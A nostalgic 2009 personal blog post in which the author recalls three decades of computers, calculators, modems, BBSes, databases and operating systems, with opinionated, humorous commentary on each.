Monday, March 02, 2009

30 Years and Counting!

It was about this time in 1979 that I first got into computers.

I started to type up this list of the memorable technologies I've used over those 30 years...and this list got a little out of hand...then this list got REALLY out of hand. I had forgotten how much I actually remembered! :)

My list has gotten so long that nobody will read it...so now this is just an exercise for my own amusement. However, the fact that I was able to find Wikipedia entries for almost everything here means that I'm not the only one who remembers some of these things. =)

So here is my list of everything I've seen and done (technology-wise). All descriptions are from my own memory of experiences and events at the time, so there is no guarantee that all of this is 100% accurate.

Computers/Calculators

Apple ][, ][+
The legendary Apple ][ that created the monster who we know today as "Steve Jobs". :) This was my main platform of choice for most of the 1980's. It's still the computer that I know better than any other.
TI-99/4A
Part computer, part game console, part calculator. Complete disaster.
Atari 400
Horrible keyboard. What was it like to type on the Atari 400? Well, take a sheet of bubble-wrap, and lay it out face down on your kitchen counter. Now write letters on all the backs of all the bubbles. There you go.
TRS-80 Color Computer
In 1982, you couldn't walk by a Radio Shack without seeing this computer on display, usually demoing the game Dung Beetles, which was a bizarre knock-off of PacMan. The TRS-80 was referred to as "TRaSh-80" by technology snobs. But the TRS-80 actually has a noble lineage going back to the TRS-80 Model I released in 1977. It competed directly with the early Apple II and the Commodore PET.
TRS-80 Model 100
The most practical laptop ever built. No, seriously! It had a full keyboard with great tactile feel and long keystrokes, and it ran for 20 hours on a single set of replaceable (or rechargeable) AA batteries! Sure, the screen was a monochrome LCD screen with only room for eight lines of text, but it had a full-featured word processor, spread sheet, and database. If you want to do untethered work for days on end, this was (and AFAIK still is) the only solution...short of buying and charging a big stack of backup batteries for your laptop.
TRS-80 Model III
I used these in high school. There were fairly lame. I wrote a lo-res version of Tron Light Cycle game for the Model III that made them at tiny bit less lame, but then the teacher banned students from playing it.
TI-74 Basic Calc Pocket Computer
If your pockets are big enough to carry a loaf of bread or a box of cereal, then yes, this is a "pocket" computer. I've had one of these for 24+ years. This device has no form of external storage, so all the programs I wrote are only in memory. Every 6 months, since I was 15, I have changed the batteries on my TI-74 to keep my old programs alive. (Just because) Someday the backup capacitor is going to fail while I'm changing the main batteries, and I'll lose everything. I've come up with numerous geeky plans to hot-wire alternate power into this thing...but I'm more curious to see just how long this thing will survive as-is. :) Besides, this thing deserves a rest!
HP-28C
At the college I went to, no nerd would be caught dead without one of these. I had the HP-28C, but the richer nerds had the nicer HP-28S. The HP-28's could be programmed in RPL. RPL stands for "Reverse Polish Lisp". Seriously. Look it up. And it used the Saturn CPU which ran at 640kHz. This is the only CPU I've ever been aware of using that was measured in kilohertz.
HP-10 series (15C, 16C, etc)
The best calculators ever made. Period. For all of these reasons, this calculator is still wildly popular, and there is even a petition drive to bring them back into production. Currently, they sell on eBay for hundreds of dollars each! So the demand is definitely there. I have the HP 16C, and it's my favorite calculator to this day.
PDP-10
The mainframe of the gods. You could fill a box of Trivial Pursuit cards with all the "firsts" and notable historical events associated with these machines. When I was 13, I lucked into "acquiring" an account on a University of Louisville PDP-10 mainframe. The PDP-10 was a 36-bit computer that most commonly ran the TOPS-10 Operating System. This combination of hardware and OS was commonly referred to as a "DEC-10". I played many games of DECWAR into the wee hours of the morning, and spent hours in chatting on FORUM. DECWAR was the first multi-player game ever, and FORUM was the first chat program ever, and I had the privilege of being there, completely oblivious to how lucky I was.
PDP-11
This was DEC's most popular minicomputer, not to be confused with the PDP-10 which was a true monster mainframe computer. There was nothing "mini" about the PDP-10. The PDP-11 was much smaller and affordable for colleges and scientists. The PDP-11 was an absolutely amazing machine that was way ahead of its time. It ruled the computing world until microcomputers began to catch up in the late 1980's.
Dec Vax-11 and Dec Vax 8250
Replaced the PDP-11...or rather it succeeded the PDP-11...because nothing could replace the PDP-11. :) These were the primary mainframes I used at college. We did our programming assignments in rooms filled with VT-100 terminals connected to the VAXes (VAXi?). We had compilers for Pascal, Modula-2, Ada, C and C++. What else could you want? College students today with their "personal" computers and network connections in their rooms are just spoiled! :)

The Vax was the best...and last...great minicomputer. In the early 90's, it lost market share to personal computers in businesses and universities. People will claim that the microcomputer revolution began in the 1970's. But as *I* remember it, it didn't happen until the very late 1980's.

For the first decade of their existence, microcomputers were seen as toys and game machines, and honestly the games were a main selling point early computers like the C-64. They weren't taken seriously by companies who made "real" computers. The key turning point was when Turbo-C was released for the IBM PC in 1987. That was the first time I clearly remember a collective "ah-ha!" moment when it was proven that a microcomputer could be a serious application development platform. This event coincided with common memory upgrades that allowed these microcomputers to have as much memory as a mainframe (around 512k), and, to make a perfect storm, this was also the point in history when people started to believe that business applications could be written in C instead of COBOL.

The microcomputer could not replace the mainframe or minicomputer until people started actually doing the kinds of things on microcomputers that they used to do on mainframes...and generally speaking that was not playing games. The true success story of the IBM-PC was its ability to run "serious" applications, like language compilers and accounting packages. None of the other computers made by Commodore, Apple, or Tandy had superb development environments like Turbo-C, Turbo-Pascal, or Borland C++. To this day I am frustrated by the lack of a great C development environment for the Apple ][ and C-64. Sure, there are C compilers, but nothing like the Turbo-C IDE with its awesome integrated editor.

DEC tried to keep up with the microcomputer revolution by releasing smaller microcomputer versions of the Vax architecture: the so-called "Vax Stations". But this was too little and too late and too expensive.
Tandy Pocket Computer
These things were so cool...if you had hands like a squirrel monkey. Otherwise the keyboard was WAY too small to type on.

For a few years in the late 1980's, pocket computers were all the rage, and everyone wanted a pocket computer that could run BASIC. Every time I would walk into a Radio Shack they had new models of Pocket Computers on display. I'm not entirely sure why Pocket Computers died off. I guess iPhones and PDAs replaced them, and perhaps nobody wants to write their own programs anymore. (?)

Apple //gs
The //GS was half-way between an Apple ][ and a Macintosh, and it even had an awkward CPU that could switch between 8-bit and 16-bit modes.
Apple //c and //c Plus
The "portable" Apple computer. The advertisements for this computer would show a picture of someone running to be somewhere carrying their Apple //c by the handle. The picture failed to show that this person must also be carrying a 5lb power brick, 4 cables, a mouse, a large box of floppy disk software, an essential 2nd floppy drive, and a 30lb CRT monitor mounted on a 4lb monitor stand made of steel...all in their pockets.

Computer portability has always fallen short of expectations (with the exception of the TRS-80 Model 100). Even modern laptops are only as untethered as an astronaut making a space walk. The momentary thrill of being free and unconnected is lost as soon as you find yourself checking your oxygen gauge every 30 seconds. Due to its small size, the Apple //c had no room for internal expansion slots, and thus was not easily upgradeable. That didn't stop the very clever folks at Applied Engineering from inventing ways to squeeze new hardware into the Apple //c by making add-on circuit boards in the shape of Tetris pieces. Maybe the guy who invented Tetris once owned an Apple //c?
Timex Sinclair
A programmable Lite-Brite made by the same group who invented the most ridiculous calculator watch ever. I would not be surprised if the Sinclair computer was originally intended to come with a wrist strap.
Commodore 64
You could buy a Commodore for under $600 when other computers were selling for over $1200. That was pretty darn cool considering it was a real computer with enough memory and power for all the common computing tasks of its day. Side Note: Before getting into the computer business, Commodore was known for making some rather nerd-tastic calculators.
Coleco Adam
This is the only home computer (that I know of) that used high-speed cassette drives as a primary storage mechanism. This was great except for the fact that the Adam generated enough EM interference to erase any tapes left in it too long. The tape drives were also prone to violent self-destruction when anything jammed the high-speed tape feed. The Adam was such a disaster that it single-handedly destroyed the entire company Coleco. Coleco, as you may remember, made the Cabbage Patch Kids and many of the most popular hand held electronic games from the late 70's and early 80's.
Macintosh Plus, Mac SE, Mac Classic
As an early Apple ][ user, I was always in awe of the Macintosh. The Mac had style! I would always go into the computer stores and sit down an play with the early Macintosh computers. But I could never afford one. Even after I got my first high-paying job I still couldn't afford one. That's how ridiculously expensive Macintoshes were. Affordability has always been an issue with the Macintosh. It was only 2 years ago that I finally bought an old Mac SE off of eBay...the same model I've wanted since High School. (I rule!)
Osborne 1
The first portable (luggable) computer...not to be confused with the Compaq portable which was the first IBM-compatible luggable computer. The Osborne ran CPM/2.2. I have an Osborne 1, and I can tell you that this thing is as portable as a full-sized tower PC with a handle glued to it.

The Osborne computer was invented by Adam Osborne. Not only does he have a famous computer named after him, but he also has an infamous business blunder named after him. Adam Osborne announced the Osborne 2 (or Osborne Executive) before it was actually ready to ship, and that had the effect of drying up sales for the Osborne 1 and contributed to throwing the company into bankruptcy 3 months later. This is now known as The Osborne Effect. The truth behind the Osborne Effect is somewhat exaggerated, because there were other factors that lead to the demise of Osborne. But the moral of the story is clear: Don't EVER announce a technology product that isn't ready!
Heathkit/Zenith 148 IBM PC compatible
This was my first PC compatible computer. Zenith computers were sold at Heathkit stores. Heathkit is where you would go if Radio Shack just wasn't nerdy enough for you. Heathkit sold most of their devices as boxes of parts you had to assemble yourself. What I really wanted, but could never afford, was a Heathkit HERO.
IBM PC, IBM PC/XT, IBM PC/AT
Also known as models 5150, 5160, and 5170 respectively. This was the start of the dreaded "PC" empire. The PC was introduced into the lively, competitive and innovative home computer market of the 1980's...and it totally annihilated it. Apple, Tandy, Atari, Commodore and others were no match for the attack of the PC clone armies. IBM was relatively late to the PC market, but their Empire struck back, and the last of the Jedi went into hiding at Apple. We can only hope that someday a rebel alliance will form that is capable of taking down the PC.
IBM PC Junior
Wow, this computer was awful! It was a mismatch of technologies at every level...somewhere between IBM PC and a Speak n' Spell. The keys on the chiclet keyboard were soft and squishy, which made it feel like you were typing on a chew toy. You fully expected the thing to squeak...but it didn't even do that! The keyboard was wireless (good idea) but had a battery life of about 2 hours (tragically bad idea). There is nothing worse than having your keyboard die and leave you with no way to save your work. With sufficient expensive upgrades, it could almost run full PC applications...which made it almost a useful computer. It died off very quickly and mercifully.
Sun Sparc Workstation
We used these in college by my senior year. These were made by this exciting new computer company called "Sun". They were my first experience with X-Windows running on Unix. It was also my first experience with giant seizure-inducing CRT monitors. These were the days before we figured out that 60hz is not a sufficient refresh rate for a large monochrome screen.
NeXT Workstation
This is one of my favorite computers of all time. It was a decade ahead of its time. I don't make that claim lightly. It was everything the Mac OS/X eventually became, only 10 years earlier. It had a fully graphical unix-based OS long before Linux existed. Despite technical superiority in both hardware and software, the NeXT never caught on. The NeXT came to market right at the height of a recession, and right when the PC clones had already established market dominance. Nobody wanted to take a risk on something fancier that couldn't run IBM software.
NeXT Cube
A NeXT computer in a big cube. The cube shape gave it enough room for internal CD-ROM drives. The NeXT was one of the first computers to offer CD-ROM drives.
Symbolics' Lisp Machine
A language-specific hardware implementation. I used this in college for my Lisp class. It was a machine designed to run Lisp programs at the hardware level. This was very cool! But it was a highly specialized machine developed at a time when the market wanted general purpose machines. And to this day the market has never turned away from general purpose machines. We want our PC's to be able to do anything and be anything. And then we complain they are too complex to use.
HP 3000
I used one of these on my first job out of college, at the Naval Ordnance Station in Louisville Ky. The HP 3000 is a legendary machine. But at the time, I had no appreciation for that fact. Rather, I only saw it as disappointing that this old 70's mainframe computer was still in use in 1993. Well, even in 2009 this computer still has many installations around the world and is *STILL* being supported by HP!! HP will support it until 2010, and other vendors plan to carry on support until 2013 and beyond.

When the HP 3000 was first released, it was a very popular alternative to the expensive IBM mainframes. As such, there were many large and complicated software suites written for the HP 3000. These were usually highly customized for each customer. When I worked at the Naval Ordnance Station, we were running MRP software on the HP3000 that had been developed over 10 years. Rewriting these monster mainframe apps all over from scratch is a monumental task that is almost never worth the modest functional improvements you would get by upgrading to a new platform. This is why HP 3000's have taken so long to die. Besides, if you can get by with text-mode applications that don't require large amounts of fast computations, then computers from the 1970's can do pretty much anything computers today can do.
Compaq Portable (luggable)
The first IBM-compatible computer ever. Today we often use the term "PC Compatible" to mean "Intel/Windows Compatible". But back in these days the term "PC Compatible" meant 100% compatible with the actual PC made by the actual IBM corporation. Once Compaq opened the door to making IBM "clones", it began the slow but inevitable decline of IBM as a PC maker. Really, the only thing that kept IBM in the PC market for so many years was slavish devotion to IBM products by big conservative corporations.

Compaq computers were infamous for using highly proprietary hardware that required equally proprietary drivers and OS patches to use them. In the end, you had a computer than could run IBM software just fine, but could not be upgraded or modified in any way without paying major $$$ to Compaq. Clever!
Altec 486/66mhz
This wast the first Wintel computer I ever owned (Windows 3.1). It was one of the first computers to feature the Intel 80486DX2 "Clock Doubled" (oooo!) CPU. It was also the first (and last) generation of computers to sport VESA Local Bus video cards.
iMac G3
The first Macintosh I ever owned. My interest in Apple computers had faded in the late 90's as Windows became overwhelmingly dominant on desktops. But when Apple introduced a new Unix-based Operating System for the Mac, I became interested in them all over again. The iMac was also a "cute" computer. It came in many colors (or "flavors") like Strawberry, Blueberry, Grape, Ruby, and Flower Power. As a marketing gimmick, the colors did help sell a fair number of iMac's, but soon the fad wore off and Apple when back to making white iMacs.

Steve Jobs has spent his entire career trying to sell the fashion side of technology. The key to fashion is giving people a way to express their individuality, and Jobs has always promoted the visual and functional individualism of the Macintosh computer. Individuality is fine for decorative aspects of technology, like computer cases, but computer software demands conformity and standards above ALL else, and this is why Apple has had such an incredibly difficult time breaking any of Microsoft's monopolies.

But with the iPod, Apple entered a new market that Microsoft did not already control with a software monopoly. Apple made cute little music players that allow people to define their individuality through their song lists, and they finally found the bridge between fashion and technology that Jobs has been looking for all these years. AND, lucky for Apple, they've found a way to make a Microsoft-like software lock with iTunes. Most people have their music library stored in iTunes, and nobody in their right mind would want to take on the hassle and expense of moving all their songs to another brand of Music Library...even IF that other Music Library was technically superior. Apple's Monopoly is like the purple Baltic/Mediterranean Avenue Monopoly compared to Microsoft's control of all the blue, green, yellow, red, and orange properties on the game board. But at least it keeps Apple in the game.
Mac Mini
I don't think this computer really had a clear target audience. Its main selling point seems to be that it's very cute, and very small. I bought one 3 years ago, and I use it to this day as a web server and file server.
Commodore Amiga
I never owned an Amiga, but used a friend's Amiga in college. For graphics and animation, the Amiga had no equal. The Amiga technology was ahead of its time, but was never fully understood in by the general public. Commodore did a horrible job of marketing the Amiga, and all of its talents went largely unnoticed. The Amiga showed a lot of heart and user loyalty, but in the end was not victorious.


In memory of the Commodore Amiga, I offer a most sincere slow clap.

The Internet before the web

The internet existed long before the Web and all the "www" stuff came along. We did all the kinds of things people use the internet for today, only it was done entirely through command-line text interfaces.

We had FTP sites for file sharing, TELNET for accessing remote computers, Gopher for looking up content, IRC for chatting with live people, and Usenet for global message boards.

These were all nice, but nothing killed time quite like playing in a MUD RPG!! These were essentially text-only versions of World of Warcraft. They were every bit as ground breaking as they were addicting. Now, I don't ever want to be that old man who starts off a complaint with "Back in my day...", but I do at least wonder if modern 3-D virtual worlds require less imagination than the storybook text worlds of the old MUDs.

Communications before the Internet

Before the internet, we had modems! Modems were the little boxes of magic that made everything happen and allowed incompatible computers (and incompatible people) to talk to each other!
BBS
Bulletin Board Systems. I used too many BBS's to list here. They were a major part of my communication with the outside world and significantly shaped who I am by exposing me to people and ideas outside of rural Kentucky. :)

<soapbox>

You really cannot overstate the enlightenment that can occur from being able to talk to other people who have different backgrounds, cultures, and ideas. The BBS communities created a melting pot of people who would otherwise never talk to each other.

However, the World Wide Web offers so many choices that it has had the opposite effect on some people. It allows people to find whole sites dedicated to people who are exactly like themselves and share the same ideas and philosophies. Instead of exposing people to new ideas, it can allow people withdraw even further into a cocoon of their own beliefs woven by people who are just like them. If you want to believe in some crackpot theory, you can find enough "information" and official-looking citations on the Web to convince you that your theory is true...no matter what that theory is.

For the internet to be beneficial, people are going to have to learn how to filter through all this information without just filtering the things they want to hear.

</soapbox>
FidoNet
A multi-hop system that allowed messages to bounce from BBS to BBS in order to travel longer distances across the whole country. You could read and post on remote message boards without incurring the long-distances charges.
BITNET
Early form of a "college" internet. I thought it was so cool when I received my first "e-mail" from someone in another country. Now days I get spam from Nigeria and Russia every day...and it's not at all cool. :(
Compuserve
Before the Internet, this was *the* place for technical people and software developers to meet and communicate and share information online. CompuServe was like the ultimate mega-BBS, and it had dial up locations in every city.
America Online
Most people don't know that AOL had very humble beginnings as an online dialup service for Apple II computers. But AOL grew like crazy and eventually became disparaged by tech-savvy people for bringing all of America onto the Internet. Using AOL was a primary indication that you didn't really know how to use a computer...and today that is more true than ever! :)
Dow Jones News/Retrieval Service
I can't find any good references about this service. It still exists today, but as an internet and web site service. Way back in the day, it was a dial-up modem service that I used. You could download news stories and weather reports! This is the kind of thing taken for granted today, but back in the early 80's this was revolutionary. As far as I can tell...almost nobody used this service except a few hackers and a lot of stock brokers.
File transfer sites and pirate sites.
This is where I spent way too much time as a teenager. These sites were nothing but collections of pirated software programs, updated continuously by the major pirate organizations. These were they days before FTP, so we had such wonderful file transfer protocols as: Kermit, XModem, YModem, ZModem, and CatFur.
Telenet
Not to be confused with "Telnet". (Note the extra "e" in the name Telenet.) Telenet was one of the first packet-switched networks. It was run by a startup telephone company called "Sprint" (!) and they offered a service called "PC Pursuit" that allowed you to make unlimited long-distance connections with your modem for a flat fee. Your modem would dial into the hub in your local city, and then dial out from a modem on the hub of the destination city. This was pretty kludgey, and the bandwidth was only 1200 baud, but it did work! However, it wasn't long before the pirate boards upgraded to 2400 baud (or even higher), and refused to accept 1200 baud connections. And that pretty much ended Telenet.

The Modems!!!

Accoustic Coupler
These were just weird...but they allowed two computers to talk to each other in situations where nothing else worked. It assumed you had a standard AT&T pre-breakup telephone handset. This is when all phones pretty much looked the same. These days phones rarely have handsets at all!
Novation AppleCat
This modem for the Apple II was absolutely the most legendary piece of hardware made for the Apple. It was supposed to be just a 300 baud modem, but it was so supremely over-engineered and so expandable that hackers soon found a ton of unintended uses for it. It had a sophisticated four-voice sound synthesizer that could be used to generate phreaking signals. It could also be used as a sophisticated sound card for the Apple ][. Many games were written where you would choose from a list of sound cards your computer supported, and one of the sound card choices was "Apple Cat Modem". By using a half-duplex hack, it could even do 1200 baud communications in one direction. For all these reasons, it became the must-have device for hackers, phreakers, and pirates.
Hayes Micromodem II
Hayes made a very Borg-like entry into the modem market and established standards for all modems. Soon, all other modems and modem software had to be certified "Hayes Compatible" or they wouldn't sell. Mostly "Hayes Compatible" meant being compatible with the Hayes "AT" Commands. But as higher-speed dial-up communications became standardized, Hayes became just another maker of commodity modems and lost out to competition from Zoom and U.S. Robotics. I also remember a lot of confusing caused by the wide range of fast-changing standard. (v.32bis, v.90, v.92, v.42bis, etc).
U.S. Robotics
This company has such a cool name. It's a shame they weren't famous for any actual robotics. U.S. Robotics was the very last modem I ever owned. It's been collecting dust since November of 2000. U.S. Robotics still exists today. They still make modems and employ a grand total of 125 people. Here is there sad and always empty jobs page.
Zoom Modem
Made by Zoom Telephonics. These gained large market sure in the 90's due to their low cost and adequate functionality. I've had two Zoom modems in my life, and both of them were dirt cheap and about 95% reliable. Zoom eventually bought out Hayes and still supports the dying embers of the Hayes brand to this day.

Databases and Office Suites

AppleWorks
The first "Office" Suite for the Apple ][. It had a full-featured Word Processor, SpreadSheet, and Database. It does 90% of what a modern Office Suite does (in text mode), but it's only 230K in size, and runs in 128k of memory.
dBase
A pioneering database product for micro-computers in the 80's. But unfortunately it gained a bad reputation after Borland bought it in the 90's. Borland probably meant well...in the same way that a child means well when they decorate a wall with permanent marker.
Paradox
Technology is already scary enough to most people, so don't name your product anything like "Paradox". That's like naming an automobile "Crash". "Introducing the 2009 series Toyota Crash and Ford Rollover".
Quattro Pro
Quattro Pro was legendary for the legal issues it raised in regards to how to copyright software. Quattro Pro designed its menus and key sequences to be identical to Lotus 1-2-3. It did this intentionally to allow users to switch easily, and for the benefit of having a "standard" for spreadsheets. Lotus sued and the case went all the way to the Supreme Court where it ended with a 4-4 tie. (1 justice recused himself)
Visicalc
This was the first practical spreadsheet ever made for a personal computer. Unfortunately, I was 11 years old at the time I pirated my own copy...so I couldn't figure out for the life of me what to do with a "spread sheet". It seemed to me like an awfully complicated way to add numbers.
HP TurboImage
This was a highly popular pre-SQL database. It was a hierarchical database, not a relational database. The difference being that you didn't really "join" tables. The only kind of relationship supported was parent-child. That's all you had to work with.
Sybase SQL Server
At their height in 1995, Sybase competed equally with Oracle for the #1 position in the database market. They also had the #1 RAD Application Development tool of the day: PowerBuilder. A combination of bad moves on Sybase's part and several power grabs on Microsoft's part left Sybase nearly dead just 2 years later. By 1997, Microsoft had interlocking monopolies on the Operating Systems, Office Suites, and development tools. Soon after Sybase and PowerBuilder shops had turned into Microsoft SQLServer and Visual Basic shops. WordPerfect shops had switched to Word. OS/2 shops switch to Windows 95. Borland C++ developers switched to Visual C++. Many legitimate lawsuits were filed against Microsoft in the late 90's, but all fizzled when George W. Bush "took" office in 2000.

Clipper
This was an amazingly popular product...for about 8 months. This is the closest thing to a true "fad" I've ever seen in the database market.
Foxpro
A powerful database package that addresses no known problem. It nevertheless gained some popularity among the power-user crowd. But Foxpro was data napalm, and the I.T. community spent a large part of the late 90's putting out the fires.
Microsoft Access
If you can click a mouse, you can write a database application...in the same sense that if you can jump off a building, then you can learn to fly. It only works up to a point. That point is discovered only when I.T. get's an emergency phone call to fix their impossibly complicated or corrupted Microsoft Access system.
DB2
The oldest relational database still in appreciable use today. It is the closest thing to a zombie there is in the software world. It is neither alive nor dead, but it is terrifying to software developers everywhere.
Microsoft SQL Server
Microsoft virtually stole this database from Sybase, and then ran with it and turned it into an empire.
The Windows Registry
Stand back...this is a rant is 15 years in the making:

The Windows Registry was one of the worst ideas in the long, sad history of bad ideas in technology. Seriously, this is like someone ate a big bowl of stupid, washed it down with a tall glass of fresh-squeezed stupid juice, sat down in the two-legged stupid chair, un-learned two decades worth of advancements in database technologies, and proceeded to create yet another Achilles' heel in an operating system that already had more weak heels than a discount shoe store!

All the justifications for the registry are baloney, and I can pick them apart one at a time. Whatever they were trying to do could have been done in a dozen better ways.

What they ended up creating is an unstable, unmaintainable, cryptic, and entropy-generating database that is responsible for the management of every critical software component on your entire computer. One bit of corruption in the registry can render your entire computer unbootable. Unused and orphaned entries will rot the registry and cause a terminal degradation of your entire system over time. The size, complexity, and cryptic nature of the registry also make it the PERFECT hiding place for all manner of unwanted spyware, trayware, tickware, and clingware.

The system-degrading and parasite-hiding nature of the Windows Registry has resulted in the formation of an entire cottage industry of registry cleaning products. Do a Google search for "Registry Cleaner". You'll find over 50 pages worth of software and articles that feed a hungry population of computer users who are desperate to find something to fix their Windows Registry.

Of course, all of these programs are pretty much useless, because it's nearly impossible for a software program to distinguish good entries from bad in this haphazard jumble of data values that have no referential integrity whatsoever. There no way to tell the who/what/when/where/why of any item in the registry. Cleaning the registry is like trying to remove yesterday's raindrops from a lake.

Thank you Microsoft for seeding every copy of your Operating System with a malignant cancer. Thank you for this rare example of Microsoft innovation, because I'm sure nobody else would have thought of storing system-critical information in a database that operates on the Butterfly Effect.

Operating Systems

Apple DOS 3.2, 3.3
The first and simplest operating system for the Apple II computer. I still use it to this day. My copy hasn't been patched since 1981, and yet it's COMPLETELY safe to use. The bare-bones technology, lack of multi-tasking, and limited ability to connect to other computers make it virtually virus-proof.
UniDos 3.3
I may be one of the few people in the whole wide world who remembers this. Even Wikipedia doesn't know what this is. It was a version of DOS 3.3 that could run on 3.5" UniDisk floppies. This gave you a DOS 3.3 disk with a whopping 400k of storage. *WOW*
TOPS-10 (PDP-10)
Operating System for the legendary PDP-10.
David Dos
This was back in the cool days of software when all programs were small and could be written by one person. In this case some dude, who I assume was named "David", wrote his own modified version of Apple DOS. The biggest feature of David DOS was that it could view text files...much like the "cat" command in Unix. No other DOS for the Apple II had this ability.
ProntoDos
A performance-tuned version of Apple DOS.
Apple ProDos 1.0, 1.1 Apple ProDos 8 Apple ProDos 16
ProDos was the eventual replacement for Apple DOS 3.3. ProDos supported fancy features...like sub-directories on a disk. However, ProDos was larger and slower. Given that the Apple ][ never got a significant performance boost in its entire 16 year history, it was difficult for ProDos to catch on and be popular on that platform. I still prefer DOS 3.3 myself. However, ProDos did eventually shine on the Apple ][GS platform where bigger drives and faster processors were common.
GEOS
A lightweight graphical OS built for resource-constrained 8-bit computers like the Apple ][ and C-64. It had windows and word processors and graphic editors and mouse support and allowed 8-bit computers to rival the functionality of the Macintosh. It was probably the pinnacle of technical achievement for 8-bit computers...but it still died right along with them.
MS DOS 3.3, 4, 5, 6, 7
The dreaded ubiquitous lame Operating System that became the defacto standard for the IBM PC computer. It features a command-line interface that offered very few useful commands, and it responded to all errors with the infamous (A)bort, (R)etry, (F)ail. "Retry" never works and there is no meaningful difference between "Abort" and "Fail".
PC DOS
IBM's MS-DOS compatible Operating System. PC-DOS and MS-DOS are no longer supported. And yet both IBM and Microsoft forbid you to distribute these Operating Systems without paying exorbitant fees. This has spawned the creation of FreeDos
SCO Unix
One of my first jobs out of college was to write an Ada wrapper around X-Windows libraries. We did our work on SCO Unix, because it was one of the very few Unix platforms that could run on a modest Intel computer. At the time, I really liked SCO. 10 years later, SCO sold its soul (I think literally) to Microsoft and executed a suicide attack against IBM. IBM was damaged but emerged victorious, and now SCO is dead.
NeXTSTEP
This OS was 10 years ahead of its time. It was everything Linux should have been, and everything Mac OS/X eventually became. Mac OS/X is a direct descendant of NeXTSTEP.
Solaris Unix
In my opinion, this is the greatest commercial version of Unix ever created, and the greatest server OS in existence today. This is the pinnacle of mankind's achievements in the field of Operating System. However...it is also fairly expensive and tends to favor proprietary hardware. Companies have discovered that in most cases the features of Linux will suffice, so they don't need to buy Solaris.

The sad story of Linux is that Linux did FAR more damage to commercial Unix than it ever did Windows and Microsoft. You will see a recurring theme in computing history where great innovations only hurt other great innovations, and nothing hurts Microsoft...because it innovates nothing.
Vax/VMS
I used this heavily in college. It was a pretty decent command-line OS with a couple of powerful (but odd) scripting languages. One cool feature I especially remember was that VMS automatically versioned your files. You could always go back to an earlier version of any document or any file. This was an automatic feature built-in at the OS level and completely transparent to the user...at least until you filled up all the disk space in your user account. :)
HP 3000 MPE-XL
The Operating System for the immortal HP 3000 minicomputer.
Windows 2.0, Windows 3.0
The early versions of Windows were especially lame, and little more than fancy DOS utilities.
Windows 3.1, Windows for Workgroups 3.11
These were the first versions of Windows that people started to take seriously. Microsoft leveraged their DOS Monopoly to make Windows 3.1 common place in Corporate America...much to the dismay of Apple who had a better Windowing OS earlier. This was a brilliant (and so probably accidental) plan on Microsoft's part. They built a Windowing utility to make the old DOS easier to use. Then, once people are hooked on it and locked into it, they made it part of the Operating System so as to have inter-locking Monopolies. Then they made the browser part of the Operating System, and so on.

Microsoft has redefined what the term "Operating System" means to encompass all kinds of software that are not OS components.

Compare this with Linux where Linux is just the OS, and Desktop Managers (like Gnome and KDE) are separate products.
OS/2
The last great challenger of the Operating System wars. It was better than Windows 95 before Windows 95 was ever released. Of course, that doesn't matter when you are up against Microsoft. With the death of OS/2, it became apparent that making a commercial Operating System that could compete with Microsoft was impossible. No matter how good your product is, you can't crack a monopoly.

So, non-commercial products, like Linux, are now the only alternative. See: http://dogic.blogspot.com/2005/06/software-changes-everything.html
Coherent
Coherent was the first affordable version of Unix that could run on an Intel platform. It was famously advertised in all trade journals for $99. I bought a copy, and I thought it was the coolest thing ever...except for the fact there isn't much you can do with a version of Unix that nobody writes software for, and there just wasn't enough popular Unix apps ported over to Coherent.
IBM AIX
Ah, the cutting edge of obsolete technology. This is a flavor of Unix mangled by IBM. But since it carries the IBM name, it is popular with the die-hard IBM shops that still use IBM mainframes and DB2.
HP/UX
HP/UX is like a big train that has run out of fuel but is still coasting along on its momentum. Passengers are actively flinging themselves out of the moving cars and rather than starving to death waiting for this train to stop.
Windows95a, b, c
Probably the best versions of DOS ever made.
Windows 98, 98SE
98SE was the high-point of the "Windows 4.0" line of operating systems. We joked that "SE" stood for "Stable Edition". There were about 3 other flavors of "Windows 98" that were all crap.
Windows ME
Generally referred to as the "Money Edition". (Or more recently as "Vista Beta"). This release of Windows had no purpose other than to get a new product on the market to generate some more sales for Microsoft. Windows ME was a historic disaster...for the consumer. It still made money for Microsoft because everyone who bought a computer that year was forced to pay for a copy of ME. It was terribly unstable, flaky, and poorly designed. Microsoft never took the time to fix it, and users with computers running ME were effectively abandoned. I fear the same thing will happen with Vista. People who have bought a computer in the past two years will be stuck with an OS that nobody (including Microsoft) wants to support.
Windows NT 3.1, 4.0
Microsoft borrowed a lot of ideas of Linux for their Windows NT kernel, and it showed. It was fairly stable (for a Windows platform) and could do multi-tasking reasonably well. All around, it was "Not Terrible".
Windows 2000
This was the OS that was supposed to combine Windows NT's multi-tasking kernel with Window 98's enhanced GUI. This way there would be one unified version of Windows instead of two. Well, that's great, but Microsoft then proceeded to sell Windows 2000 in FOUR different flavors: Professional, Server, Advanced Server, and Datacenter Server. Well, thanks Microsoft! :( Microsoft benefited from a unified Windows code base, but the general public did NOT.
Windows XP
There was a time when Windows XP was so crappy and unstable that it became knows as "Extreme Patching" for all the constant patches you had to apply to keep it running. However, after 4 solid years of patching, XP has finally become pretty darn stable and reliable. And it begs the question: Why on EARTH would I want to start all over again with buggy Vista? Take whatever cool UI features Vista has and just add them to XP!
RedHat Linux
Beware an Open Source product made by a company that becomes publicly traded and profit driven. I never know what to think about Red Hat. Sometimes they are the good guys, and sometimes they are the bad guys. The name "Red Hat" is the perfect name for this company, because they are half-way between white-hat and black-hat.
SUSE Linux
I used to love SUSE Linux until Novell bought out SUSE and then sold-out to Microsoft.
Gentoo Linux
Gentoo: Powered by your own self-satisfaction. Gentoo is a fascinating version of Linux if you've ever wanted to see what it's like to build an entire Linux distribution from source code. However, for people who want to get more done in a week than just getting their computer to boot, you will want to stick to the pre-built versions of Linux.
Ubuntu
My first impression of Ubuntu was "Damnit, why do we need yet ANOTHER flavor of Linux!?". But after seeing Gentoo fall out of popularity, and seeing SUSE Linux embrace Microsoft, I begrudgingly thought "Well, alright, I guess we do need a new torch-bearer for the Linux cause."

I still think Linux would have been far more successful if there was just ONE distro that all these developers could pour their energy into, and just one desktop manager that everyone would agree on. The whole point of Open Source is that independent developers can compete with corporate developers if they all band together and work as a team. But that never happens, and so Open Source software still remains out on the fringe where only techies use it. Firefox was the closest thing I've seen to a mainstream software package that even non-techies were starting to use in great numbers. BUT now Google has come out with Chrome which will steal more market share and more developers from Firefox than it will steal from Microsoft.
Macintosh Systems 1 through 9
For the longest time, Apple continued to serve its little niche market with their own custom Operating Systems written from scratch...mostly in Pascal!
Mac OS/X
